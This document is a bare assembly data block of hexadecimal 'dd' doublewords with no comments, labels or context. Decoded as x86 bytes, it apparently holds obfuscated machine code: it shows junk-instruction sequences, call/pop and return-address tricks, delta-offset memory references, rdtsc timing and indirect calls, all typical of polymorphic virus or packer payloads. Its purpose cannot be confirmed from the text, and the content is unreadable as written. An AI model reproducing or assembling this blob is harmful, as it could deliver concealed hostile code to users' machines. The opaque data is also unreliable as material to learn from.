dd 8B39C350h, 0F78A50D8h, 0F5240489h, 6A026Ah, 3E856h
dd 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
dd 652B61C3h, 0D58644BBh, 67D68028h, 857495FFh, 6A0068h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 150424h, 55450000h
dd 618403C3h, 0C7DEBF0Fh, 34D0F85h, 106h, 0BE900h, 4E640000h
dd 1C134150h, 8260CA0h, 0E5952B3Dh, 5006031Bh, 9E9h, 41E8D400h
dd 9565247Bh, 3489F09Eh, 299DBB24h, 0B589071Fh, 6034CC0h
dd 0F5958B57h, 5A06032Dh, 0F6C28166h, 91BD83CDh, 106031Eh
dd 4E850Fh, 0BCB30000h, 0F05F883h, 4385h, 188E0F00h, 0E9000000h
dd 13h, 54FA3A4Eh, 0D8513194h, 7FDE250Eh, 5DEEC981h, 0B8471474h
dd 0
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 0C3C35545h
dd 0FD8A0F21h, 3059BD83h, 0F000603h, 1D84h, 11E900h, 40DE0000h
dd 530F0D18h, 0C145FF2Bh, 79111BFFh, 0B8726838h, 0
dd 666010B6h, 858BD38Bh, 60301FDh, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 1Bh, 67C35040h, 0F16BEEAFh, 6658BF30h
dd 0C083DF8Bh, 0D3816602h, 8589A5B1h, 6034CB8h, 48E0Fh
dd 50530000h, 0C65B5Ah, 53006AFFh, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1B04h, 0C3534300h, 83865F48h, 59EFB906h
dd 6718D29h, 85C60603h, 6032F39h, 2DBD2953h, 0E8060323h
dd 4, 0FCB148D8h, 6650DE8Ah, 8B8C86BAh, 66042444h, 8BDE8Bh
dd 5AD08B52h, 4244489h, 8158D88Bh, 0E9ED21E3h, 0C9B5FF27h
dd 6A060328h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 1B042444h, 42000000h, 9359C352h, 0D05E3A6Ah, 9D890960h
dd 6033085h, 1FE59501h, 858D0603h, 60673BCh, 0E851006Ah
dd 3, 59C35920h, 4244C89h, 4244481h, 18h, 0AAC35141h, 995B00EFh
dd 5E9h, 91E0A00h, 0D0FFE68Bh, 7E9h, 0B5E78A00h, 0F3B24655h
dd 1FB98589h, 0DE8B0603h, 2C69BD83h, 0F010603h, 0BB85h
dd 56006A00h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1804h
dd 0C3564600h, 0B206AABFh, 0DEBF0FB3h, 5BD0161h, 0BA06030Bh
dd 6EE77B13h, 2F3985C6h, 60450603h, 0E8DF8B66h, 8, 6F62651Bh
dd 8C860E5Bh, 30D58D89h, 615A0603h, 2A40A368h, 81AEB2CFh
dd 0F81F2404h, 9D8B0B35h, 6031FD9h, 28C9B5FFh, 858D0603h
dd 60673BCh, 1AA19D89h, 0D0FF0603h, 239D9D8Bh, 6A0603h
dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ah, 93C35545h
dd 0C7096247h, 0D68B29B6h, 0EE9h, 0A5142200h, 82102AAEh
dd 9F3672A0h, 0FFB9BB5Dh, 0DFBF0FD0h, 96DBD83h, 0F010603h
dd 0E685h, 0DA816600h, 8A0F3C82h, 3, 8B0BE380h, 301FD85h
dd 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1C04h
dd 0C3574700h, 0F30223DDh, 0A7C30E0Eh, 1958B8Fh, 0E9060309h
dd 5Ch, 0E950BDB6h, 12h, 0B3B77DEFh, 0CB6A0AB4h, 0E9CCEE76h
dd 30509B0h, 489CDDEh, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1C04h, 0C3524200h, 433CD04Ah, 67B3D85Ch
dd 17C380D7h, 2D719D8Bh, 146A0603h, 1FB995FFh, 0DBB0603h
dd 5814FEC7h, 0F05CBA66h, 0F003880h, 0FFFF9D85h, 50006AFFh
dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h, 0C3504000h
dd 0C6FE20C0h, 6A0100h, 3E855h, 5D200000h, 6C895DC3h, 44810424h
dd 150424h, 55450000h, 614089C3h, 0E852006Ah, 3, 5AC35A20h
dd 4245489h, 4244481h, 14h, 0F9C35242h, 26099503h, 0BD830603h
dd 6030F35h, 5F840F00h, 6A000000h, 3E85000h, 20000000h
dd 8958C358h, 81042444h, 19042444h, 40000000h, 8684C350h
dd 6C1E77AAh, 1AF19D29h, 0FF6A0603h, 20499D89h, 95FF0603h
dd 6031FB9h, 0E9D68B66h, 0FFFFFFEAh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 14h, 0E8C35141h, 80C8D680h, 85C7A6C3h
dd 6030F35h, 1, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
dd 14h, 2EC35141h, 12E9h, 3D6C6000h, 0D863ACCDh, 0E88350E0h
dd 87A1A9E6h, 89B257F9h, 34CC485h, 56006A06h, 3E8h, 0C35E2000h
dd 2474895Eh, 24448104h, 1B04h, 0C3564600h, 4C5E7E2Ch
dd 4C070C2Fh, 566090F5h, 0EE9h, 0E1140E00h, 56E474EDh
dd 8EB7A245h, 5A6AA5D8h, 14E8h, 0BF3DD600h, 6C69A28Fh
dd 47FE6994h, 2F0003A7h, 49997470h, 5B5E5185h, 7EB65061h
dd 14E890h, 4A220000h, 65ED1820h, 0AB825DC4h, 33CD7AD2h
dd 0A2F1ADF4h, 850132ABh, 6031145h, 56A605Bh, 0E850006Ah
dd 3, 58C35820h, 4244489h, 4244481h, 16h, 85C35040h, 8E9DD87h
dd 0C0000000h, 0F8307459h, 8B855732h, 305FD95h, 0DC858D06h
dd 6A06034Ch, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 15042444h, 46000000h, 554AC356h, 0C29426BAh, 52505017h
dd 0D38B6653h, 0E8310F5Ah, 8, 775B2631h, 2D1F9E9h, 6E9h
dd 0F730B900h, 5AC8FC75h, 489585Ah, 0CC858D24h, 5006034Ch
dd 9FC7BA66h, 81240489h, 9A91FDDBh, 2195FF60h, 66060326h
dd 77E2E281h, 7A1D8D8Dh, 81660603h, 0B7135F3h, 8D1174C0h
dd 34CDC85h, 0D1FF5006h, 4CFA8589h, 0AEB0603h, 4CFA85C7h
dd 0FFFF0603h, 6AFFFFh, 3E851h, 59200000h, 4C8959C3h, 44810424h
dd 1D0424h, 51410000h, 0BEA343C3h, 85521A62h, 8BD7734Fh
dd 32F1D95h, 38D0F06h, 80000000h, 5361FAEFh, 2E98D89h
dd 0C65B0603h, 32F3985h, 0BA664D06h, 2568B238h, 50327423h
dd 60525052h, 60310F61h, 0F585A61h, 10E931h, 0F2420000h
dd 7B31DEDFh, 305DD2B4h, 40211A2Bh, 585A7585h, 83240481h
dd 0E871C153h, 0Dh, 0C3448599h, 7DBEA455h, 35693DB0h, 0D8B70FD5h
dd 91B5FF5Bh, 8B060331h, 31A399Dh, 6EDB8106h, 8D7FDBB7h
dd 673BC85h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
dd 1404h, 0C3534300h, 3800F71h, 0F000000h, 0D0FFDFBFh
dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0D5C35242h
dd 0D451F573h, 85C07F17h, 999D0BF5h, 29060317h, 3283D9Dh
dd 0E1858906h, 0F06031Ah, 8Bh, 3985C600h, 4506032Fh, 5FDBD89h
dd 4E80603h, 69000000h, 508E7269h, 1B850Fh, 8E0F0000h
dd 15h, 10E9h, 891D6400h, 0E2E4E5Ah, 0EF83A523h, 9D9A56C3h
dd 24448BE0h, 50008B04h, 0FF58A52h, 5E831h, 0CE200000h
dd 0BBCC3C0Bh, 0DA497E7h, 89585A5Ah, 53042444h, 0F49816BBh
dd 0BA585A77h, 1A112955h, 28C9B5FFh, 9D8B0603h, 6032BBDh
dd 73BC858Dh, 6A0606h, 3E850h, 58200000h, 448958C3h, 44810424h
dd 170424h, 50400000h, 3EAC12C3h, 998D89E6h, 0FF060332h
dd 89DA8BD0h, 320F185h, 458D8906h, 8B06030Fh, 8C66F9D2h
dd 56006AD9h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1A04h
dd 0C3564600h, 750553D1h, 0E89DD382h, 7, 0BF2C42B5h, 8AA8F3E4h
dd 0C0BA5BDAh, 897C45C0h, 31ECDBDh, 4C1F606h, 233840Fh
dd 8B600000h, 31C2DB5h, 0F4806006h, 615F562Eh, 298D8961h
dd 0E906031Fh, 112h, 0CD042BBh, 61BA665Ch, 5B58B83h, 6A06032Fh
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 18042444h
dd 47000000h, 0E9A8C357h, 170B744h, 330D19Dh, 80C68106h
dd 6A000011h, 3E85600h, 20000000h, 895EC35Eh, 81042474h
dd 1A042444h, 46000000h, 2287C356h, 0EF47EA2h, 3ED381C9h
dd 0B67D06FAh, 85BD8340h, 6032Eh, 31850Fh, 41BA0000h, 812DE7DBh
dd 0C60881E3h, 6BE96Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 190424h, 50400000h, 49C093C3h, 83BE2F6Eh
dd 840F003Eh, 41h, 519D8B51h, 5B060319h, 6660D78Bh, 3BC4E381h
dd 9D8B146Ah, 60331B5h, 0FFD8B70Fh, 31FB995h, 0C59D8B06h
dd 6106032Dh, 0BE9h, 0CBA81600h, 9CECFFBCh, 0C3EE777Ah
dd 0FFFFBAE9h, 0D7BA66FFh, 106C717h, 6A000000h, 3E85000h
dd 20000000h, 8958C358h, 81042444h, 17042444h, 40000000h
dd 7711C350h, 0BD8383CFh, 6034CC4h, 0FA850F05h, 6A000000h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1A042444h
dd 41000000h, 83C8C351h, 0B5E5ADA0h, 7E9CBh, 35A90000h
dd 0BDFADD15h, 3D95898Dh, 8B06032Fh, 320F1B5h, 0D68B6606h
dd 64B9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1604h, 0C3524200h, 8AB8F225h, 0E83E80FDh, 19840Fh, 0AE90000h
dd 9E000000h, 0A06E20D0h, 475C206Eh, 2BE9E5h, 81660000h
dd 802668E3h, 0FC2057Eh, 6084h, 14E800h, 51B60000h, 26094397h
dd 0E740B3A3h, 3633870Bh, 6AC8539Eh, 0DA8B0E81h, 9D8B465Bh
dd 6032971h, 0AA850F49h, 50FFFFFFh, 68B0Fh, 958B0000h
dd 603014Dh, 2FE95Bh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 190424h, 50400000h, 0BEE167C3h, 8A957610h
dd 0DDB589DDh, 3060331h, 309F595h, 6A5806h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 59DFA3C3h
dd 2179BD83h, 0F000603h, 19984h, 50006A00h, 3E8h, 0C3582000h
dd 24448958h, 24448104h, 1B04h, 0C3504000h, 0EC78FC85h
dd 0A19DF547h, 60A8F780h, 0C6D1BF0Fh, 32F3985h, 6A5406h
dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 190424h, 57470000h
dd 2D2DA2C3h, 8943F7DEh, 324858Dh, 4E8FC06h, 0F4000000h
dd 66FF4EBEh, 50A2EEBAh, 0AB75F5BAh, 24448B2Ah, 8B88B704h
dd 0DE800h, 8FC20000h, 92EAF28Fh, 337A209Ch, 664627BBh
dd 895ADE8Bh, 66042444h, 582AA8BAh, 0AE9h, 7C992100h, 20EFCA5Dh
dd 0FF32A357h, 328C9B5h, 35BD3106h, 8D060306h, 673BC85h
dd 11958B06h, 0FF06031Dh, 51006AD0h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1904h, 0C3514100h, 828E018Ch
dd 89607C3Eh, 321C195h, 0EE906h, 0AA950000h, 0C78C25A4h
dd 0DDE4D183h, 0EE305AB3h, 0BA006A61h, 604F5E46h, 0DCEA8166h
dd 79B5FFDAh, 6A060321h, 3E85200h, 20000000h, 895AC35Ah
dd 81042454h, 17042444h, 42000000h, 3115C352h, 0BF0F73E0h
dd 12E8DFh, 20D0000h, 6857FFADh, 0DA8D81Bh, 883B5D1Fh
dd 41B2DCCBh, 1B71958Bh, 8A5B0603h, 6AD0FFD1h, 3E85600h
dd 20000000h, 895EC35Eh, 81042474h, 15042444h, 46000000h
dd 70E1C356h, 1C199D89h, 6A610603h, 3E85100h, 20000000h
dd 8959C359h, 8104244Ch, 19042444h, 41000000h, 10F6C351h
dd 6F1D5A7Eh, 315B589h, 85C70603h, 6031D65h, 1, 3149958Bh
dd 9E80603h, 0
dd 0A527F096h, 595AF29Fh, 58B0Fh, 81660000h, 5A4ACFCBh
dd 0D85EBB60h, 55681590h, 662B9CA9h, 3481D78Bh, 9CA9D524h
dd 199D2B2Bh, 6A06031Bh, 0C19D29FFh, 0FF060317h, 30F8595h
dd 0FD958906h, 6106031Bh, 8B908FB7h, 0AE850DEh, 0B5000000h
dd 9F1F3FABh, 0AEC2218Ch, 61606009h, 5A6147B0h, 56006A90h
dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h
dd 0DF3E37F9h, 3056E9CAh, 958BA22Ah, 6032535h, 11F5858Bh
dd 958B0603h, 60310E5h, 840FC00Bh, 52h, 0E853006Ah, 3
dd 5BC35B20h, 4245C89h, 4244481h, 19h, 8EC35343h, 0D486A664h
dd 1F8D0F62h, 0E8000000h, 13h, 2EC5D069h, 0C1647F5Bh, 0C6E3A4E8h
dd 1307F957h, 81A6B74Ah, 0BFA786F3h, 95FF5A69h, 6031D39h
dd 98DDEA81h, 85C70B54h, 6031EF9h, 1, 8366C780h, 30339BDh
dd 840F0006h, 2Fh, 0E857006Ah, 3, 5FC35F20h, 4247C89h
dd 4244481h, 1Ah, 6DC35747h, 3263FEh, 8B66DC44h, 95FFF8DAh
dd 603303Dh, 83D2BF0Fh, 32A31BDh, 840F0006h, 2Eh, 2F75F3BBh
dd 9D95FF72h, 6A06031Bh, 3E85600h, 20000000h, 895EC35Eh
dd 81042474h, 15042444h, 46000000h, 5C79C356h, 108D8589h
dd 0BD830603h, 6030B6Dh, 5B840F00h, 0F000000h, 0BD83DFBFh
dd 6031E65h, 4B850F00h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 17042444h, 43000000h, 0FDBAC353h
dd 95FF94E6h, 6030389h, 0E850006Ah, 3, 58C35820h, 4244489h
dd 4244481h, 18h, 36C35040h, 0D3E0D1E7h, 2EF5B509h, 0BD830603h
dd 6032D85h, 50840F00h, 0F000000h, 581h, 0DB816600h, 8581725Dh
dd 6031775h, 4003h, 0E852006Ah, 3, 5AC35A20h, 4245489h
dd 4244481h, 1Bh, 0D3C35242h, 0EA2512D2h, 293A380Bh, 32A5D9Dh
dd 81FA8A06h, 3239185h, 400306h, 0D5BD8900h, 0F060303h
dd 4FBA6631h, 5A8D8D2Fh, 0BA06035Dh, 46429715h, 6A0189h
dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 6DFA2DC3h, 0E226968Eh, 807CAD41h, 0C233EFCAh, 0F558589h
dd 41890603h, 310FF804h, 6850Fh, 9D8B0000h, 6032689h, 5D8F8D8Dh
dd 81660603h, 89E8FDEBh, 0D88B6601h, 6AC233h, 3E853h, 5B200000h
dd 5C895BC3h, 44810424h, 160424h, 53430000h, 0B6057AC3h
dd 89F1DF80h, 9D8B0441h, 6031F05h, 2021BD83h, 0F000603h
dd 3C84h, 41950B00h, 8906032Ch, 32C5D8Dh, 2595FF06h, 6A060321h
dd 3E85700h, 20000000h, 895FC35Fh, 8104247Ch, 1C042444h
dd 47000000h, 15F0C357h, 0AF45552Ah, 3360B6DCh, 31DA195h
dd 0F1BD8306h, 1060330h, 80850Fh, 6A0000h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 140424h, 56460000h, 0FE925C3h
dd 56000000h, 0E029D683h, 61067BFBh, 0A829EEDDh, 4BE94864h
dd 29000000h, 311E98Dh, 0B6B58B06h, 0C706035Eh, 6, 63B58B00h
dd 0C706035Ch, 6, 9D8BCF00h, 603207Dh, 0E853006Ah, 3, 5BC35B20h
dd 4245C89h, 4244481h, 18h, 0DC35343h, 1579E43Dh, 14D958Bh
dd 0BD830603h, 6031EF9h, 77840F00h, 0E8000001h, 0Dh, 0EC796D27h
dd 286C5D56h, 0ED26EB7Fh, 5FD680F3h, 10810F5Bh, 0E9000000h
dd 0Bh, 928DE23Ah, 0EE494035h, 83E745DDh, 30615BDh, 850F0106h
dd 129h, 21DD8D09h, 8D8B0603h, 6034CB8h, 0E857006Ah, 3
dd 5FC35F20h, 4247C89h, 4244481h, 1Ch, 91C35747h, 3C5A67C0h
dd 79F50B0Dh, 2DA19501h, 9D090603h, 60313B5h, 8B0001C6h
dd 31A519Dh, 0D38A6006h, 4E8h, 8000h, 0BB575000h, 2165E3B3h
dd 24448B5Bh, 6E904h, 60EB0000h, 0A07A079Ah, 54B3008Bh
dd 4244489h, 0FA8B6660h, 0FF16BE66h, 0B5895861h, 6032FEDh
dd 0BE8h, 2C4B2700h, 0A75B3616h, 41AF2057h, 280D9D89h
dd 6A5A0603h, 0F28166FFh, 95FF2ACFh, 6030F85h, 30AD9D8Bh
dd 0E9610603h, 0Dh, 6CBF646Dh, 0D6647E92h, 97541B94h, 0D95FF0Ch
dd 6A060332h, 3E85200h, 20000000h, 895AC35Ah, 81042454h
dd 18042444h, 42000000h, 0C4F8C352h, 0E99BF2C6h, 9, 325AE5F0h
dd 8321EF71h, 67BA528Bh, 5A0D87D3h, 4CB88D8Bh, 0BB510603h
dd 35DCC640h, 6A01FE5Ah, 3E85100h, 20000000h, 8959C359h
dd 8104244Ch, 14042444h, 41000000h, 8923C351h, 3062195h
dd 0B9BD8306h, 1060310h, 8850Fh, 0F08A0000h, 0CE58531h
dd 0C08B0603h, 9B19589h, 0BD830603h, 6031039h, 83097500h
dd 3111DBDh, 1A740006h, 0C08B5350h, 1775858Bh, 85890603h
dd 6031775h, 0B0919D8Dh, 0D3FF0605h, 0BD83585Bh, 603111Dh
dd 50187400h, 75858B53h, 89060317h, 3177585h, 809D8D06h
dd 0FF0605ADh, 29585BD3h, 312A99Dh, 41958B06h, 6A060320h
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 16042444h
dd 40000000h, 0FEDEC350h, 6DBD29EEh, 0B206031Dh, 8BC08B72h
dd 320199Dh, 0F9BD8306h, 6031Eh, 5D850Fh, 6A0000h, 3E855h
dd 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h
dd 0D3BC7FC3h, 56A67417h, 80F28067h, 0BB66E5F7h, 0BD834161h
dd 60320D5h, 24840F00h, 6A000000h, 3E85300h, 20000000h
dd 895BC35Bh, 8104245Ch, 1C042444h, 43000000h, 0A34CC353h
dd 0CAB5DA51h, 833D0FF7h, 31EF9BDh, 840F0006h, 12h, 0BD83DE8Bh
dd 60304D9h, 3840F00h, 0F000000h, 0BD83D3B7h, 6031EF9h
dd 29840F00h, 0F000000h, 1082h, 0BE900h, 2B70000h, 4D287ABFh
dd 64971C38h, 0D9BD8399h, 60304h, 6840Fh, 95310000h, 6033281h
dd 1EF9BD83h, 0F000603h, 2784h, 12E900h, 0F0AD0000h, 8E8A7314h
dd 0B25C3D75h, 0FADF2EC1h, 0A0C51A07h, 1FDDBD83h, 0F000603h
dd 384h, 0DABF0F00h, 1EF9BD83h, 0F000603h, 3A84h, 7E800h
dd 647E0000h, 541B94D6h, 61958B97h, 5B060321h, 3890Fh
dd 8B660000h, 29BD83D0h, 6031Dh, 11840Fh, 81660000h, 0FFB8C5D3h
dd 320E195h, 8D958B06h, 8B060310h, 51006AC0h, 3E8h, 0C3592000h
dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 13ECE49Ah
dd 1BDD7C19h, 611958Bh, 0BD830603h, 6031039h, 83097500h
dd 3111DBDh, 1A740006h, 0C08B5350h, 2391858Bh, 85890603h
dd 6032391h, 0B0F89D8Dh, 0D3FF0605h, 0BD83585Bh, 603111Dh
dd 50187400h, 91858B53h, 89060323h, 3239185h, 999D8D06h
dd 0FF0605ADh, 31585BD3h, 3211585h, 0D08B6606h, 25019D8Bh
dd 0C08B0603h, 820Fh, 0BD830000h, 6031EF9h, 0EC840F00h
dd 0F000004h, 9D8BD9BFh, 60326CDh, 2C69BD83h, 0F020603h
dd 5284h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
dd 1D04h, 0C3504000h, 1B7B1EECh, 0CA63D6EDh, 10E93AB5h
dd 0A2000000h, 5F91671Dh, 0A0030769h, 632AB32Dh, 51F322BEh
dd 5ADBB70Fh, 30F1BD83h, 0F010603h, 685h, 0D5958B00h, 83060324h
dd 323E5BDh, 840F0006h, 12Ah
dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 1Dh, 0F5C35040h
dd 0BC7A3BB7h, 2D62A9Ch, 0FE8E8h, 484A0000h, 74651DA8h
dd 7E5AD9FCh, 0E620587Ch, 0A5BD8991h, 5B060323h, 0C2AABA60h
dd 8D8B519Ah, 6034CB8h, 1E8DBD89h, 1FE0603h, 0E8DFB70Fh
dd 4, 80h, 8B50D78Bh, 24448BDFh, 8B3EB204h, 893AB200h
dd 60042444h, 708376BEh, 52505044h, 585A310Fh, 6A586159h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 15042444h
dd 41000000h, 20DDC351h, 6E9h, 0A09BCA00h, 6A892B95h, 895160FFh
dd 32E8DBDh, 958B5E06h, 60313E5h, 1858961h, 0FF060322h
dd 30F8595h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
dd 1904h, 0C3524200h, 1ADC3315h, 9589D28Ch, 6032385h, 52006A61h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h
dd 0CF8D2191h, 0C23E7019h, 0BA66AAF5h, 0F601454h, 84h
dd 2840F00h, 8B000000h, 0E96061FBh, 0Ch, 3C121FDh, 61685D3Ah
dd 0BE9BF8AFh, 8B15E680h, 34CB88Dh, 0E1806006h, 0AE9E9h
dd 8A0D0000h, 0FC4B5718h, 0A562CB46h, 0F01FE61h, 0D87h
dd 8E900h, 0DAF00000h, 0B9BFD70Eh, 0B868AE46h, 66879A72h
dd 481D68Bh, 658DC824h, 599D8B78h, 6A06031Ah, 119529FFh
dd 0FF06030Ch, 30F8595h, 49958B06h, 61060317h, 0E857006Ah
dd 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 85C35747h, 633BAEA4h
dd 89BD8D99h, 6006030Bh, 880F60h, 81000000h, 0DCABE5DFh
dd 858B6166h, 6032531h, 1C4F8B61h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 17h, 0A4C35040h, 6A65F220h, 0D5958B01h
dd 91060323h, 3EB4BB66h, 91D6B350h, 0E850006Ah, 3, 58C35820h
dd 4244489h, 4244481h, 15h, 5DC35040h, 0B9CFBA23h, 858D5790h
dd 6063BF7h, 29BD8960h, 0E8060300h, 9, 0CF5DCBC7h, 61A25769h
dd 615BF8E1h, 0D68BD0FFh, 0F9204F8Bh, 5BBFD281h, 36A4565h
dd 5A77B756h, 89D4B350h, 858D240Ch, 6063BF7h, 0D0FFD38Bh
dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 14h, 0B2C35343h
dd 2E59D8Bh, 0BD8D0603h, 6030B89h, 1C4F8BF5h, 2ED58589h
dd 16A0603h, 0CCF38166h, 17B25009h, 0E8240C89h, 8, 0E4B04E04h
dd 9CFF2C82h, 13E9h, 14B8A00h, 98EE8AD3h, 3DCD346Dh, 0D050B724h
dd 879AE082h, 0F7858D5Ah, 0F06063Bh, 0D0FFD8B7h, 6E8h
dd 8D24100h, 5BBE3229h, 0E8204F8Bh, 0Fh, 0AFEE225h, 0E6C9091Ch
dd 190201B8h, 52A6122Dh, 939BD89h, 5B5A0603h, 0D98B036Ah
dd 0AB40DA81h, 509119E5h, 0F4AB252h, 61606031h, 10E8h
dd 3932000h, 9ADBECCCh, 0E3167360h, 97B14B8h, 5A615FEEh
dd 0CCB25058h, 858DF891h, 6063BF7h, 13A59D8Bh, 0D0FF0603h
dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 90C35646h
dd 0F69FC960h, 0CE918h, 0E8E20000h, 379CACFh, 0AC0A2EB2h
dd 8D8B8496h, 6034CB8h, 1BCDB509h, 0D7800603h, 6A01FE9Bh
dd 3E85000h, 20000000h, 8958C358h, 81042444h, 14042444h
dd 40000000h, 8B9CC350h, 34CB885h, 8E906h, 86940000h, 0B94B423Ah
dd 0FEF9BAh, 0EDB53360h, 8B06030Bh, 329CD9Dh, 13E86106h
dd 0E3000000h, 151D1870h, 2F21E3F5h, 37E2B44Bh, 19485181h
dd 950B810Bh, 6031259h, 89016A5Bh, 311F98Dh, 4E806h, 9FFF0000h
dd 0BA66FFFFh, 0BB50E92Bh, 5362E36Dh, 424448Bh, 1C5BA53h
dd 8B5B0D4Fh, 28B0F00h, 0B2000000h, 24448989h, 1CBB6604h
dd 6A5894h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 150424h
dd 57470000h, 33BD2FC3h, 300299Dh, 1858D06h, 0E806063Ch
dd 5, 29C4F1D7h, 11E9D6h, 0A7E70000h, 0A1B51BE3h, 0D07939DBh
dd 47346F75h, 5B238D4Dh, 0FFDF8B66h, 85958BD0h, 83060324h
dd 320D5BDh, 840F0006h, 0BDh, 0E851006Ah, 3, 59C35920h
dd 4244C89h, 4244481h, 1Dh, 54C35141h, 32C056F9h, 95894E0Fh
dd 91BD83CAh, 106031Eh, 8B850Fh, 9D8B0000h, 6032901h, 3C0B8D8Dh
dd 85890606h, 60328F1h, 0BB66036Ah, 16A3E50h, 2C799D8Bh
dd 0D1FF0603h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
dd 14h, 17C35040h, 3291958Bh, 0BD290603h, 6030039h, 6AFC016Ah
dd 99D8B01h, 0FF060306h, 0B50153D1h, 6030CA1h, 8FBA665Bh
dd 5D0AE8DFh, 6AFA58h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1B0424h, 52420000h, 1DF768C3h, 0DE91846Ah, 6A206AB3h
dd 3E85100h, 20000000h, 8959C359h, 8104244Ch, 1B042444h
dd 41000000h, 1CF7C351h, 0D4F48C64h, 0DE806B08h, 0D1BF0FD2h
dd 870FFF6Ah, 18h, 13E9h, 0CA343400h, 3332BCD0h, 330CFB73h
dd 9B592125h, 69DFF329h, 0F8595FFh, 80520603h, 0B85AF8F3h
dd 0
dd 1B299D8Bh, 0C00B0603h, 65840Fh, 0DE90000h, 0D0000000h
dd 0A182437Ah, 8C8A392Ah, 68BEE922h, 68A0F50h, 89000000h
dd 325D195h, 0BD835A06h, 6030CC9h, 38840F00h, 6A000000h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 14042444h
dd 42000000h, 8970C352h, 3261185h, 1D95FF06h, 0E906032Ah
dd 0Bh, 6C1F562Eh, 2500D9F2h, 8B9341D0h, 301FD85h, 0C6D78B06h
dd 952B0000h, 60317A1h, 52006A58h, 3E8h, 0C35A2000h, 2454895Ah
dd 24448104h, 1504h, 0C3524200h, 9589CC93h, 60324B1h, 29D98C66h
dd 30ADD95h, 4C1F606h, 73840Fh, 9D8B0000h, 60328CDh, 68E9h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1504h
dd 0C3554500h, 0A0BA5F63h, 8B342D4Eh, 32F05B5h, 0E2816606h
dd 0C681332Fh, 1180h, 1BD99D33h, 6C70603h, 0
dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 1EC35747h
dd 0A5D3C0Ah, 89D1DBB9h, 332698Dh, 6A5E06h, 3E856h, 5E200000h
dd 74895EC3h, 44810424h, 1D0424h, 56460000h, 0ABB689C3h
dd 582F3846h, 83AF4E5Dh, 840F00F8h, 0B5Bh, 8BD88B66h, 1F883D9h
dd 20C850Fh, 6A0000h, 3E852h, 5A200000h, 54895AC3h, 44810424h
dd 1D0424h, 52420000h, 0ECB710C3h, 6D1A1F14h, 0E952A2AEh
dd 10h, 1AE6CBFAh, 2522305Eh, 0CAA36F3Ah, 0BDB822F5h, 0B8h
dd 55006A00h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1D04h
dd 0C3554500h, 0F9F152AEh, 0AA4E1E89h, 9589B60Fh, 6030F31h
dd 22A19501h, 0C00B0603h, 113840Fh, 6A0000h, 3E852h, 5A200000h
dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0F3CDBAC3h
dd 2CD4B823h, 60B70669h, 0A918D0Bh, 0BD8B0603h, 6032501h
dd 1F88361h, 106840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h
dd 44810424h, 170424h, 50400000h, 9CCF4AC3h, 0B6C4BBCFh
dd 890F024Ah, 6, 31198D29h, 0F8830603h, 63840F03h, 6A000000h
dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 16042444h
dd 43000000h, 8FE7C353h, 8ECA81DAh, 2B168723h, 55006AC0h
dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h
dd 713A5FCCh, 8DEC7567h, 5B7974BDh, 0DD8D8900h, 0FF060321h
dd 0BD2960E7h, 6031785h, 8061CB8Ah, 1B8FFEEh, 8B000000h
dd 3201995h, 74BD8D06h, 89005B79h, 3220DBDh, 6AE7FF06h
dd 3E85200h, 20000000h, 895AC35Ah, 81042454h, 1A042444h
dd 42000000h, 7C5EC352h, 823147B8h, 44BD8D37h, 89060343h
